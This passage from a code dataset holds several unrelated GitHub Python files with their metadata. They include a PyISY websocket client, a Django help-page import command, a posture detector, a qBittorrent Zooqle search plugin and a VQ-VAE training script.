value_from_xml\nfrom ..logging import LOG_VERBOSE, enable_logging\n\n_LOGGER = logging.getLogger(__name__) # Allows targeting pyisy.events in handlers.\n\nWS_HEADERS = {\n \"Sec-WebSocket-Protocol\": \"ISYSUB\",\n \"Sec-WebSocket-Version\": \"13\",\n \"Origin\": \"com.universal-devices.websockets.isy\",\n}\nWS_HEARTBEAT = 30\nWS_HB_GRACE = 2\nWS_TIMEOUT = 10.0\nWS_MAX_RETRIES = 4\nWS_RETRY_BACKOFF = [0.01, 1, 10, 30, 60] # Seconds\n\n\nclass WebSocketClient:\n \"\"\"Class for handling web socket communications with the ISY.\"\"\"\n\n def __init__(\n self,\n isy,\n address,\n port,\n username,\n password,\n use_https=False,\n tls_ver=1.1,\n webroot=\"\",\n websession=None,\n ):\n \"\"\"Initialize a new Web Socket Client class.\"\"\"\n if len(_LOGGER.handlers) == 0:\n enable_logging(add_null_handler=True)\n\n self.isy = isy\n self._address = address\n self._port = port\n self._username = username\n self._password = password\n self._auth = aiohttp.BasicAuth(self._username, self._password)\n self._webroot = webroot.rstrip(\"/\")\n self._tls_ver = tls_ver\n self.use_https = use_https\n self._status = ES_NOT_STARTED\n self._lasthb = None\n self._hbwait = WS_HEARTBEAT\n self._sid = None\n self._program_key = None\n self.websocket_task = None\n self.guardian_task = None\n\n if websession is None:\n websession = get_new_client_session(use_https, tls_ver)\n\n self.req_session = websession\n self.sslcontext = get_sslcontext(use_https, tls_ver)\n self._loop = asyncio.get_running_loop()\n\n self._url = \"wss://\" if self.use_https else \"ws://\"\n self._url += f\"{self._address}:{self._port}{self._webroot}/rest/subscribe\"\n\n def start(self, retries=0):\n \"\"\"Start the websocket connection.\"\"\"\n if self.status != ES_CONNECTED:\n _LOGGER.debug(\"Starting websocket connection.\")\n self.status = ES_INITIALIZING\n self.websocket_task = self._loop.create_task(self.websocket(retries))\n self.guardian_task = self._loop.create_task(self._websocket_guardian())\n\n def stop(self):\n \"\"\"Close websocket connection.\"\"\"\n self.status = ES_STOP_UPDATES\n if self.websocket_task is not None:\n _LOGGER.debug(\"Stopping websocket connection.\")\n self.websocket_task.cancel()\n if self.guardian_task is not None:\n self.guardian_task.cancel()\n self._lasthb = None\n\n async def reconnect(self, delay=None, retries=0):\n \"\"\"Reconnect to a disconnected websocket.\"\"\"\n self.stop()\n self.status = ES_RECONNECTING\n if delay is None:\n delay = WS_RETRY_BACKOFF[retries]\n _LOGGER.info(\"PyISY attempting stream reconnect in %ss.\", delay)\n await asyncio.sleep(delay)\n retries = (retries + 1) if retries < WS_MAX_RETRIES else WS_MAX_RETRIES\n self.start(retries)\n\n @property\n def status(self):\n \"\"\"Return if the websocket is running or not.\"\"\"\n return self._status\n\n @status.setter\n def status(self, value):\n \"\"\"Set the current node state and notify listeners.\"\"\"\n if self._status != value:\n self._status = value\n self.isy.connection_events.notify(self._status)\n return self._status\n\n @property\n def last_heartbeat(self):\n \"\"\"Return the last received heartbeat time from the ISY.\"\"\"\n return self._lasthb\n\n @property\n def heartbeat_time(self):\n \"\"\"Return the time since the last ISY Heartbeat.\"\"\"\n if self._lasthb is not None:\n return (now() - self._lasthb).seconds\n return 0.0\n\n async def _websocket_guardian(self):\n \"\"\"Watch and reset websocket connection if no messages received.\"\"\"\n while self.status != ES_STOP_UPDATES:\n await asyncio.sleep(self._hbwait)\n if (\n self.websocket_task.cancelled()\n or self.websocket_task.done()\n or self.heartbeat_time > self._hbwait + WS_HB_GRACE\n ):\n _LOGGER.debug(\"Websocket missed a heartbeat, resetting connection.\")\n self.status = ES_LOST_STREAM_CONNECTION\n self._loop.create_task(self.reconnect())\n return\n\n async def _route_message(self, msg):\n \"\"\"Route a received message from the event stream.\"\"\"\n # check xml formatting\n try:\n xmldoc = minidom.parseString(msg)\n except xml.parsers.expat.ExpatError:\n _LOGGER.warning(\"ISY Received Malformed XML:\\n%s\", msg)\n return\n _LOGGER.log(LOG_VERBOSE, \"ISY Update Received:\\n%s\", msg)\n\n # A wild stream id appears!\n if f\"{ATTR_STREAM_ID}=\" in msg and self._sid is None:\n self.update_received(xmldoc)\n\n # direct the event message\n cntrl = value_from_xml(xmldoc, ATTR_CONTROL)\n if not cntrl:\n return\n if cntrl == \"_0\": # ISY HEARTBEAT\n self._lasthb = now()\n self._hbwait = int(value_from_xml(xmldoc, ATTR_ACTION))\n _LOGGER.debug(\"ISY HEARTBEAT: %s\", self._lasthb.isoformat())\n self.isy.connection_events.notify(self._status)\n elif cntrl == PROP_STATUS: # NODE UPDATE\n self.isy.nodes.update_received(xmldoc)\n elif cntrl[0] != \"_\": # NODE CONTROL EVENT\n self.isy.nodes.control_message_received(xmldoc)\n elif cntrl == \"_1\": # Trigger Update\n if f\"<{ATTR_VAR}\" in msg: # VARIABLE (action=6 or 7)\n self.isy.variables.update_received(xmldoc)\n elif f\"<{ATTR_ID}>\" in msg: # PROGRAM (action=0)\n self.isy.programs.update_received(xmldoc)\n elif f\"<{TAG_NODE}>\" in msg and \"[\" in msg: # Node Server Update\n pass # This is most likely a duplicate node update.\n elif f\"<{ATTR_ACTION}>\" in msg:\n action = value_from_xml(xmldoc, ATTR_ACTION)\n if action == ACTION_KEY:\n self._program_key = value_from_xml(xmldoc, TAG_EVENT_INFO)\n return\n if action == ACTION_KEY_CHANGED:\n self._program_key = value_from_xml(xmldoc, TAG_NODE)\n # Need to reload programs\n await self.isy.programs.update()\n elif cntrl == \"_3\": # Node Changed/Updated\n self.isy.nodes.node_changed_received(xmldoc)\n elif cntrl == \"_5\": # System Status Changed\n self.isy.system_status_changed_received(xmldoc)\n elif cntrl == \"_7\": # Progress report, device programming event\n self.isy.nodes.progress_report_received(xmldoc)\n\n def update_received(self, xmldoc):\n \"\"\"Set the socket ID.\"\"\"\n self._sid = attr_from_xml(xmldoc, \"Event\", ATTR_STREAM_ID)\n _LOGGER.debug(\"ISY Updated Events Stream ID: %s\", self._sid)\n\n async def websocket(self, retries=0):\n \"\"\"Start websocket connection.\"\"\"\n try:\n async with self.req_session.ws_connect(\n self._url,\n auth=self._auth,\n heartbeat=WS_HEARTBEAT,\n headers=WS_HEADERS,\n timeout=WS_TIMEOUT,\n receive_timeout=self._hbwait + WS_HB_GRACE,\n ssl=self.sslcontext,\n ) as ws:\n self.status = ES_CONNECTED\n retries = 0\n _LOGGER.debug(\"Successfully connected to websocket.\")\n\n async for msg in ws:\n if msg.type == aiohttp.WSMsgType.TEXT:\n await self._route_message(msg.data)\n elif msg.type == aiohttp.WSMsgType.BINARY:\n _LOGGER.warning(\"Unexpected binary message received.\")\n elif msg.type == aiohttp.WSMsgType.ERROR:\n _LOGGER.error(\"Error during receive %s\", ws.exception())\n break\n\n except asyncio.CancelledError:\n self.status = ES_DISCONNECTED\n return\n except asyncio.TimeoutError:\n _LOGGER.debug(\"Websocket Timeout.\")\n except aiohttp.ClientConnectorError as err:\n _LOGGER.error(\"Websocket Client Connector Error %s\", err, exc_info=True)\n except (\n aiohttp.ClientOSError,\n aiohttp.client_exceptions.ServerDisconnectedError,\n ):\n _LOGGER.debug(\"Websocket Server Not Ready.\")\n except aiohttp.client_exceptions.WSServerHandshakeError as err:\n _LOGGER.warning(\"Web socket server response error: %s\", err.message)\n # pylint: disable=broad-except\n except Exception as err:\n _LOGGER.error(\"Unexpected websocket error %s\", err, exc_info=True)\n else:\n if isinstance(ws.exception(), asyncio.TimeoutError):\n _LOGGER.debug(\"Websocket Timeout.\")\n elif isinstance(ws.exception(), aiohttp.streams.EofStream):\n _LOGGER.warning(\n \"Websocket disconnected unexpectedly. Check network connection.\"\n )\n else:\n _LOGGER.warning(\n \"Websocket disconnected unexpectedly with code: %s\", ws.close_code\n )\n if self.status != ES_STOP_UPDATES:\n self.status = ES_LOST_STREAM_CONNECTION\n self._loop.create_task(self.reconnect(retries=retries))\n","repo_name":"automicus/PyISY","sub_path":"pyisy/events/websocket.py","file_name":"websocket.py","file_ext":"py","file_size_in_byte":10111,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"11"} +{"seq_id":"40352321616","text":"# -*- coding: utf-8 -*-\n\"\"\"\n\nTokenization refers to splitting text into minimal meaningful units. \nThere is a sentence tokenizer and word tokenizer.\n\nlibraries --> nltk, spacy and Textblob\n\n\"\"\"\n\nimport pandas as pd\nfrom textblob import TextBlob\nimport nltk\n\n\ntext = ['This is introduction to NLP','It is likely to be useful,to people '\n ,'Machine learning is the new electrcity',\n 'There would be less hype around AI and more action goingforward',\n 'python is the best tool!','R is good langauage','I like this book',\n 'I want more books like this']\n\ndf = pd.DataFrame({\"text\":text})\ndf.head()\n\n#using textblob\nTextBlob(df[\"text\"][3]).words\n\n#using nltk\nnltk.word_tokenize(df[\"text\"][1])\nnltk.word_tokenize(\"HI this is berry!\")\n\n\n#using split function from python\nmy_text = \"HI this is berry!\"\nmy_text.split()","repo_name":"BhaskarBerry/NLP-Recipes","sub_path":"Code/Exploring & Processing Text/6.tokenizing_text.py","file_name":"6.tokenizing_text.py","file_ext":"py","file_size_in_byte":837,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"26709860182","text":"import csv\nfrom optparse import make_option\n\nfrom django.core.management.base import BaseCommand, CommandError\n\nfrom cms.api import add_plugin\nfrom cms.models import Page, Placeholder\nfrom cms.plugins.text.cms_plugins import TextPlugin\n\nfrom cmsplugin_storybase.cms_plugins import HelpPlugin\nfrom storybase_help.models import Help\n\nclass Command(BaseCommand):\n args = ''\n help = 'Add help imported help items to a CMS page'\n option_list = BaseCommand.option_list + (\n make_option('--language',\n action='store',\n type='string',\n dest='language',\n default='en',\n help=\"Language code for translation objects. Default is 'en'\",\n ),\n make_option('-p', '--page',\n action='store',\n type='string',\n dest='page_slug',\n default='help',\n help='Slug of page that help items will be added to. Default is \"help\"',\n ),\n make_option('--placeholder',\n action='store',\n type='string',\n dest='placeholder_slot',\n default='twocol-content',\n help='Slot of placeholder that help items will be added to. Default is \"twocol-content\"',\n ),\n make_option('--noinput',\n action='store_false', dest='interactive', default=True,\n help=\"Do NOT prompt the user for input of any kind.\"),\n )\n\n def handle(self, *args, **options):\n last_section_title = None\n page_slug = options.get('page_slug')\n placeholder_slot = options.get('placeholder_slot')\n language = options.get('language')\n interactive = options.get('interactive')\n\n try:\n csv_filename = args[0]\n except IndexError:\n raise CommandError(\"You must specify a csv filename\")\n\n page = Page.objects.get(title_set__slug=page_slug)\n placeholder = Placeholder.objects.get(page=page, slot=placeholder_slot)\n\n if interactive:\n confirm = raw_input(\"\"\"You have requested to replace the help page content \nThis action CANNOT BE REVERSED.\nAre you sure you want to do this?\n\nType 'yes' to continue, or 'no' to cancel \"\"\")\n else:\n confirm = 'yes'\n\n if confirm != 'yes':\n return\n\n # Delete existing plugins\n placeholder.get_plugins().delete()\n\n with open(csv_filename, 'rb') as csvfile:\n reader = csv.reader(csvfile)\n for row in reader:\n section_title = row[0]\n help_id = row[1]\n\n # Only proceed for non-header rows \n if section_title != 'section_title':\n if last_section_title != section_title:\n last_section_title = section_title\n section_title_html = '

%s

' % section_title\n add_plugin(placeholder, TextPlugin, language, body=section_title_html)\n help_item = Help.objects.get(help_id=help_id)\n add_plugin(placeholder, HelpPlugin, language, help=help_item)\n","repo_name":"denverfoundation/django-storybase-management","sub_path":"storybase_management/management/commands/addhelptopage.py","file_name":"addhelptopage.py","file_ext":"py","file_size_in_byte":3132,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"37011070011","text":"# Detector Functions\n\n\n# ------------------ Importing Libraries ------------------ #\nimport cv2\nimport os\nimport time\nimport tensorflow as tf \n\n\n# ------------------ Importing Functions ------------------ #\nfrom model import Model\nfrom utils import keypoint_initialization, open_thresholds, get_audio_list, get_dist_values, play_audio_recording\nfrom debug import keypoint_renderings\n\n\n# ------------------ Detector Function ------------------ #\ndef detector(model: Model, interpretor: tf.lite.Interpreter, debug: bool = False) -> None:\n \"\"\"\n detector:\n Main function that operates the detection and event trigger for the application.\n\n Parameters:\n model (TensorFlow model): The TensorFlow model to use for detecting keypoint scores.\n interpreter (TFLiteInterpreter): The TFLite interpreter to use for detecting keypoint scores.\n debug (bool): Whether to show debug information.\n \"\"\"\n\n capture_front = cv2.VideoCapture(0)\n\n time_threshold = 15\n dist_thresholds = open_thresholds()\n\n basepath = os.getcwd()\n\n audio_filepath = os.path.join(basepath, 'audio_files')\n audio_list = get_audio_list(audio_filepath)\n playing_audio = False\n\n time_count = 0\n start_time = time.time() \n\n while capture_front.isOpened():\n\n # Get the front frame and keypoint score\n frame_front, keypoint_score_front = keypoint_initialization(capture_front, model, interpretor)\n\n # Show the frame with keypoints if debug mode is on\n if debug:\n confidence_threshold=0.4\n keypoint_renderings(frame_front, keypoint_score_front, confidence_threshold)\n\n # Determine Distances\n current_distances = get_dist_values(frame=frame_front, keypoints=keypoint_score_front)\n \n \n # If all distances are above threshold, then posture is correct. Else, posture is not correct.\n if all([current_distances[i] > dist_thresholds[threshold] for i, threshold in enumerate(dist_thresholds)]):\n time_count = 0\n start_time = time.time()\n else:\n if not playing_audio:\n current_time = time.time()\n time_count += current_time - start_time\n start_time = current_time\n else:\n time_count = 0\n start_time = time.time()\n\n # If time threshold has been reached, play audio recording\n if (time_count > time_threshold):\n playing_audio = True\n time_count = 0\n start_time = time.time()\n\n play_audio_recording(audio_list)\n\n playing_audio = False\n time_count = 0\n start_time = time.time()\n \n # Show the front frame if debug mode is on\n if debug:\n print(int(time_count))\n cv2.imshow(\"Front\", frame_front)\n\n # Exit the loop if the 'q' key is pressed\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n\n capture_front.release()\n cv2.destroyAllWindows()","repo_name":"NMC22T/sit-straight-dumbass","sub_path":"detector.py","file_name":"detector.py","file_ext":"py","file_size_in_byte":3060,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"23175356202","text":"from utils.data_translations import DataTranslations\n\n\nup = 'U'\nright = 'R'\ndown = 'D'\nleft = 'L'\n\n\nnum_pad_1 = {\n '-1,1': 1,\n '0,1': 2,\n '1,1': 3,\n '-1,0': 4,\n '0,0': 5,\n '1,0': 6,\n '-1,-1': 7,\n '0,-1': 8,\n '1,-1': 9\n}\nnum_pad_2 = {\n '0,2': 1,\n '-1,1': 2,\n '0,1': 3,\n '1,1': 4,\n '-2,0': 5,\n '-1,0': 6,\n '0,0': 7,\n '1,0': 8,\n '2,0': 9,\n '-1,-1': 'A',\n '0,-1': 'B',\n '1,-1': 'C',\n '0,-2': 'D'\n}\n\n\ndef parse_coord(coord):\n return [int(i) for i in coord.split(',')]\n\n\ndef check_boundry_basic(val):\n if val <= 1 and val >= -1:\n return val\n elif val >= 1:\n return 1\n elif val <= -1:\n return -1\n\n\ndef check_boundry_extended(val):\n if val <= 2 and val >= -2:\n return val\n elif val >= 2:\n return 2\n elif val <= -2:\n return -2\n\n\ndef is_extended_boundry(coord):\n if coord == '-2,0':\n return right\n elif coord == '0,2':\n return down\n elif coord == '2,0':\n return left\n elif coord == '0,-2':\n return up\n else:\n return None\n\n\ndef move(coord, d):\n [x, y] = parse_coord(coord)\n if d == up:\n y += 1\n elif d == right:\n x += 1\n elif d == down:\n y -= 1\n elif d == left:\n x -= 1\n return [x, y]\n\n\nclass Solution(DataTranslations):\n\n def __init__(self, puzzle_input):\n self.p1 = 0\n self.p2 = 0\n self.data = puzzle_input\n\n def translate(self):\n self.split_by_new_line()\n\n def part1(self):\n bathroom_code = []\n cur_coord = '0,0'\n for instructions in self.data:\n for d in instructions:\n [x, y] = move(cur_coord, d)\n x = check_boundry_basic(x)\n y = check_boundry_basic(y)\n cur_coord = f'{x},{y}'\n bathroom_code.append(str(num_pad_1[cur_coord]))\n self.p1 = ''.join(bathroom_code)\n\n def part2(self):\n bathroom_code = []\n cur_coord = '-2,0'\n for instructions in self.data:\n for d in instructions:\n valid_d = is_extended_boundry(cur_coord)\n if valid_d is None:\n [x, y] = move(cur_coord, d)\n if x == 0:\n y = check_boundry_extended(y)\n elif y == 0:\n x = check_boundry_extended(x)\n else:\n x = check_boundry_basic(x)\n y = check_boundry_basic(y)\n cur_coord = f'{x},{y}'\n elif valid_d is not None and valid_d == d:\n [x, y] = move(cur_coord, d)\n cur_coord = f'{x},{y}'\n bathroom_code.append(str(num_pad_2[cur_coord]))\n self.p2 = ''.join(bathroom_code)\n","repo_name":"marques-j-robinson/advent-of-code-old","sub_path":"Events/2016/day02.py","file_name":"day02.py","file_ext":"py","file_size_in_byte":2810,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"18768608969","text":"\"\"\"\nGridParameters class\n\n@author: simba\n\"\"\"\nimport numpy as np\n\nclass GridParameters:\n '''\n \n Initialize the grid parameter class. Handles all things related to the \n grid settings for the simulations.\n \n '''\n \n def __init__(self, x, y=None, potential=np.array([])):\n '''\n \n Parameters\n ----------\n x : array\n Grid coordinates along x with uniform spacing.\n \n Keyword Arguments\n -----------------\n y : array\n Grid coordinates along y with uniform spacing.\n potential : array, optional\n Potential values along x-y coordinates where 2DEG is formed. Must\n be in meshgrid format (y,x). The default is an empty numpy array.\n\n Returns\n -------\n None.\n\n '''\n self.potential = np.array(potential);\n \n self.x = np.array(x)\n self.dx = x[1] - x[0]\n self.nx = len(x) \n \n # Check if y coordinates were inputted as an argument\n if y is None:\n self.grid_type = '1D'\n \n # Check that coordinate data matches potential but ignore if the \n # potential is not defined\n if potential.shape[0] != 0:\n if self.nx != self.potential.shape[0]:\n raise ValueError(\"x coordinate grid points do not match\"\\\n \" number of potential x-coordinates.\")\n \n # y coordinates were inputted\n else: \n self.grid_type = '2D'\n self.y = np.array(y)\n self.dy = y[1] - y[0]\n self.x_mesh, self.y_mesh = np.meshgrid(x, y, sparse=False, indexing='xy')\n self.ny, self.nx = self.x_mesh.shape\n \n # Check that coordinate data matches potential but ignore if the \n # potential is not defined\n if potential.shape[0] != 0:\n # Check that coordinate data matches potential\n if self.nx != self.potential.shape[1]:\n raise ValueError(\"x coordinate grid points do not match\"\\\n \" number of potential x-coordinates.\")\n if self.nx != self.potential.shape[1]:\n raise ValueError(\"y coordinate grid points do not match\"\\\n \" number of potential y-coordinates.\")\n \n \n def convert_MG_to_NO(self, data_MG):\n '''\n \n Converts data from meshgrid to natural order format \n\n Parameters\n ----------\n dataMG : 2D array\n Data to convert in meshgrid format.\n\n Returns\n -------\n data_NO : 1D array\n Converted data in natural order format.\n\n '''\n \n data_MG = np.transpose(data_MG)\n data_NO = np.reshape(data_MG, (self.nx*self.ny, 1), order='F');\n\n return data_NO\n \n \n def convert_NO_to_MG(self, data_NO):\n '''\n \n Converts data from natural order to meshgrid format\n\n Parameters\n ----------\n data_NO : 1D array\n Data to convert in natural order format\n\n Returns\n -------\n data_MG : 2D array\n Converted data in meshgrid order format.\n\n '''\n \n data_MG = np.reshape(data_NO, (self.nx,self.ny), order='F');\n data_MG = np.transpose(data_MG)\n \n return data_MG\n \n def update_potential(self, new_pot):\n '''\n \n Assign a new potential to the class\n\n Parameters\n ----------\n new_pot : 2D array in meshgrid format\n New potential to assign.\n\n Returns\n -------\n None.\n\n '''\n \n self.potential = new_pot\n \n \n \n \n \n \n \n \n \n ","repo_name":"gharib85/QuDiPy","sub_path":"qudipy/potential/gridparams.py","file_name":"gridparams.py","file_ext":"py","file_size_in_byte":3939,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"13409714709","text":"from xml.dom import minidom\nfrom novaprinter import prettyPrinter\nfrom io import StringIO\nimport gzip\n\nuser_agent = 'Mozilla/5.0 (X11; Linux i686; rv:38.0) Gecko/20100101 Firefox/38.0'\nheaders = {'User-Agent': user_agent}\n\ntry:\n from urllib2 import urlopen, Request, URLError\nexcept ImportError:\n from urllib.request import urlopen, Request, URLError\n\n\ndef retrieve_url_nodecode(url):\n \"\"\" Return the content of the url page as a string \"\"\"\n req = Request(url, headers=headers)\n try:\n response = urlopen(req)\n except URLError as errno:\n print(\" \".join((\"Connection error:\", str(errno.reason))))\n print(\" \".join((\"URL:\", url)))\n return \"\"\n dat = response.read()\n # Check if it is gzipped\n if dat[:2] == '\\037\\213':\n # Data is gzip encoded, decode it\n compressedstream = StringIO(dat)\n gzipper = gzip.GzipFile(fileobj=compressedstream)\n extracted_data = gzipper.read()\n dat = extracted_data\n return dat\n return dat\n\n\nclass zooqle(object):\n \"\"\" Search engine class \"\"\"\n url = 'https://zooqle.com'\n name = 'Zooqle'\n supported_categories = {'all': 'all',\n 'movies': 'Movies',\n 'tv': 'TV',\n 'music': 'Music',\n 'games': 'Games',\n 'anime': 'Anime',\n 'software': 'Apps',\n 'books': 'Books'}\n\n def search(self, what, cat=\"all\"):\n \"\"\" Performs search \"\"\"\n page = 1\n while page < 11:\n query = \"\".join((self.url, \"/search?q=\", what,\n \"+category%3A\", self.supported_categories[cat], \"&fmt=rss\"))\n if page > 1:\n query = query + \"&pg=\" + str(page)\n response = retrieve_url_nodecode(query)\n xmldoc = minidom.parseString(response)\n itemlist = xmldoc.getElementsByTagName('item')\n if len(itemlist) == 0:\n return\n for item in itemlist:\n zooqle_dict = zooqle_dict = {\"engine_url\": self.url}\n zooqle_dict['name'] = (item.getElementsByTagName('title')[0]\n .childNodes[0].data)\n zooqle_dict[\"size\"] = (item.getElementsByTagName('enclosure')[0]\n .attributes['length'].childNodes[0].data)\n if zooqle_dict[\"size\"] == '0':\n zooqle_dict[\"link\"] = (item.getElementsByTagName('torrent:magnetURI')[0]\n .childNodes[0].data)\n else:\n zooqle_dict[\"link\"] = (item.getElementsByTagName('enclosure')[0]\n .attributes['url'].value)\n zooqle_dict[\"desc_link\"] = (item.getElementsByTagName('link')[0]\n .childNodes[0].data)\n zooqle_dict[\"leech\"] = (item.getElementsByTagName('torrent:peers')[0]\n .childNodes[0].data)\n if not zooqle_dict[\"leech\"].isdigit():\n zooqle_dict[\"leech\"] = ''\n zooqle_dict[\"seeds\"] = (item.getElementsByTagName('torrent:seeds')[0]\n .childNodes[0].data)\n if not zooqle_dict[\"seeds\"].isdigit():\n zooqle_dict[\"seeds\"] = ''\n prettyPrinter(zooqle_dict)\n totalResultVal = (xmldoc.getElementsByTagName('opensearch:totalResults')[0]\n .childNodes[0].data)\n startIndex = (xmldoc.getElementsByTagName('opensearch:startIndex')[0]\n .childNodes[0].data)\n itemsPerPage = (xmldoc.getElementsByTagName('opensearch:itemsPerPage')[0]\n .childNodes[0].data)\n if (int(startIndex) + int(itemsPerPage)) > int(totalResultVal):\n return\n page += 1\n return\n","repo_name":"SuperNG6/Docker-qBittorrent-Enhanced-Edition","sub_path":"root/usr/local/qbittorrent/defaults/Search/zooqle.py","file_name":"zooqle.py","file_ext":"py","file_size_in_byte":4065,"program_lang":"python","lang":"en","doc_type":"code","stars":470,"dataset":"github-code","pt":"11"} +{"seq_id":"73301775066","text":"#!/bin/env python3\n# -*- coding: utf-8 -*-\n# version: Python3.X\n\"\"\"\n\n\"\"\"\nimport re\n\n__author__ = '__L1n__w@tch'\n\n\nclass Solution:\n def longestCommonPrefix(self, strs: list) -> str:\n result = str()\n if len(strs) <= 0:\n return result\n length_list = [len(x) for x in strs]\n min_length = min(length_list)\n index = length_list.index(min_length)\n this_str = strs[index]\n for i,each_char in enumerate(this_str):\n for each_str in strs:\n if each_char != each_str[i]:\n return result\n result += each_char\n return result","repo_name":"L1nwatch/leetcode-python","sub_path":"14.最长公共前缀/solve.py","file_name":"solve.py","file_ext":"py","file_size_in_byte":634,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"44527220348","text":"import argparse\nimport os\nimport time\n\nimport cv2\nimport einops\nimport numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nfrom dldemos.VQVAE.configs import get_cfg\nfrom dldemos.VQVAE.dataset import get_dataloader\nfrom dldemos.VQVAE.model import VQVAE\nfrom dldemos.VQVAE.pixelcnn_model import PixelCNNWithEmbedding\n\nUSE_LMDB = False\n\n\ndef train_vqvae(model: VQVAE,\n img_shape=None,\n device='cuda',\n ckpt_path='dldemos/VQVAE/model.pth',\n batch_size=64,\n dataset_type='MNIST',\n lr=1e-3,\n n_epochs=100,\n l_w_embedding=1,\n l_w_commitment=0.25):\n print('batch size:', batch_size)\n dataloader = get_dataloader(dataset_type,\n batch_size,\n img_shape=img_shape,\n use_lmdb=USE_LMDB)\n model.to(device)\n model.train()\n optimizer = torch.optim.Adam(model.parameters(), lr)\n mse_loss = nn.MSELoss()\n tic = time.time()\n for e in range(n_epochs):\n total_loss = 0\n\n for x in dataloader:\n current_batch_size = x.shape[0]\n x = x.to(device)\n\n x_hat, ze, zq = model(x)\n l_reconstruct = mse_loss(x, x_hat)\n l_embedding = mse_loss(ze.detach(), zq)\n l_commitment = mse_loss(ze, zq.detach())\n loss = l_reconstruct + \\\n l_w_embedding * l_embedding + l_w_commitment * l_commitment\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n total_loss += loss.item() * current_batch_size\n total_loss /= len(dataloader.dataset)\n toc = time.time()\n torch.save(model.state_dict(), ckpt_path)\n print(f'epoch {e} loss: {total_loss} elapsed {(toc - tic):.2f}s')\n print('Done')\n\n\ndef train_generative_model(vqvae: VQVAE,\n model,\n img_shape=None,\n device='cuda',\n ckpt_path='dldemos/VQVAE/gen_model.pth',\n dataset_type='MNIST',\n batch_size=64,\n n_epochs=50):\n print('batch size:', batch_size)\n dataloader = get_dataloader(dataset_type,\n batch_size,\n img_shape=img_shape,\n use_lmdb=USE_LMDB)\n vqvae.to(device)\n vqvae.eval()\n model.to(device)\n model.train()\n optimizer = torch.optim.Adam(model.parameters(), 1e-3)\n loss_fn = nn.CrossEntropyLoss()\n tic = time.time()\n for e in range(n_epochs):\n total_loss = 0\n for x in dataloader:\n current_batch_size = x.shape[0]\n with torch.no_grad():\n x = x.to(device)\n x = vqvae.encode(x)\n\n predict_x = model(x)\n loss = loss_fn(predict_x, x)\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n total_loss += loss.item() * current_batch_size\n total_loss /= len(dataloader.dataset)\n toc = time.time()\n torch.save(model.state_dict(), ckpt_path)\n print(f'epoch {e} loss: {total_loss} elapsed {(toc - tic):.2f}s')\n print('Done')\n\n\ndef reconstruct(model, x, device, dataset_type='MNIST'):\n model.to(device)\n model.eval()\n with torch.no_grad():\n x_hat, _, _ = model(x)\n n = x.shape[0]\n n1 = int(n**0.5)\n x_cat = torch.concat((x, x_hat), 3)\n x_cat = einops.rearrange(x_cat, '(n1 n2) c h w -> (n1 h) (n2 w) c', n1=n1)\n x_cat = (x_cat.clip(0, 1) * 255).cpu().numpy().astype(np.uint8)\n if dataset_type == 'CelebA' or dataset_type == 'CelebAHQ':\n x_cat = cv2.cvtColor(x_cat, cv2.COLOR_RGB2BGR)\n cv2.imwrite(f'work_dirs/vqvae_reconstruct_{dataset_type}.jpg', x_cat)\n\n\ndef sample_imgs(vqvae: VQVAE,\n gen_model,\n img_shape,\n n_sample=81,\n device='cuda',\n dataset_type='MNIST'):\n vqvae = vqvae.to(device)\n vqvae.eval()\n gen_model = gen_model.to(device)\n gen_model.eval()\n\n C, H, W = img_shape\n H, W = vqvae.get_latent_HW((C, H, W))\n input_shape = (n_sample, H, W)\n x = torch.zeros(input_shape).to(device).to(torch.long)\n with torch.no_grad():\n for i in range(H):\n for j in range(W):\n output = gen_model(x)\n prob_dist = F.softmax(output[:, :, i, j], -1)\n pixel = torch.multinomial(prob_dist, 1)\n x[:, i, j] = pixel[:, 0]\n\n imgs = vqvae.decode(x)\n\n imgs = imgs * 255\n imgs = imgs.clip(0, 255)\n imgs = einops.rearrange(imgs,\n '(n1 n2) c h w -> (n1 h) (n2 w) c',\n n1=int(n_sample**0.5))\n\n imgs = imgs.detach().cpu().numpy().astype(np.uint8)\n if dataset_type == 'CelebA' or dataset_type == 'CelebAHQ':\n imgs = cv2.cvtColor(imgs, cv2.COLOR_RGB2BGR)\n\n cv2.imwrite(f'work_dirs/vqvae_sample_{dataset_type}.jpg', imgs)\n\n\nif __name__ == '__main__':\n os.makedirs('work_dirs', exist_ok=True)\n\n parser = argparse.ArgumentParser()\n parser.add_argument('-c', type=int, default=0)\n parser.add_argument('-d', type=int, default=0)\n args = parser.parse_args()\n cfg = get_cfg(args.c)\n\n device = f'cuda:{args.d}'\n\n img_shape = cfg['img_shape']\n\n vqvae = VQVAE(img_shape[0], cfg['dim'], cfg['n_embedding'])\n gen_model = PixelCNNWithEmbedding(cfg['pixelcnn_n_blocks'],\n cfg['pixelcnn_dim'],\n cfg['pixelcnn_linear_dim'], True,\n cfg['n_embedding'])\n # 1. Train VQVAE\n train_vqvae(vqvae,\n img_shape=(img_shape[1], img_shape[2]),\n device=device,\n ckpt_path=cfg['vqvae_path'],\n batch_size=cfg['batch_size'],\n dataset_type=cfg['dataset_type'],\n lr=cfg['lr'],\n n_epochs=cfg['n_epochs'],\n l_w_embedding=cfg['l_w_embedding'],\n l_w_commitment=cfg['l_w_commitment'])\n\n # 2. Test VQVAE by visualizaing reconstruction result\n vqvae.load_state_dict(torch.load(cfg['vqvae_path']))\n dataloader = get_dataloader(cfg['dataset_type'],\n 16,\n img_shape=(img_shape[1], img_shape[2]))\n img = next(iter(dataloader)).to(device)\n reconstruct(vqvae, img, device, cfg['dataset_type'])\n\n # 3. Train Generative model (Gated PixelCNN in our project)\n vqvae.load_state_dict(torch.load(cfg['vqvae_path']))\n\n train_generative_model(vqvae,\n gen_model,\n img_shape=(img_shape[1], img_shape[2]),\n device=device,\n 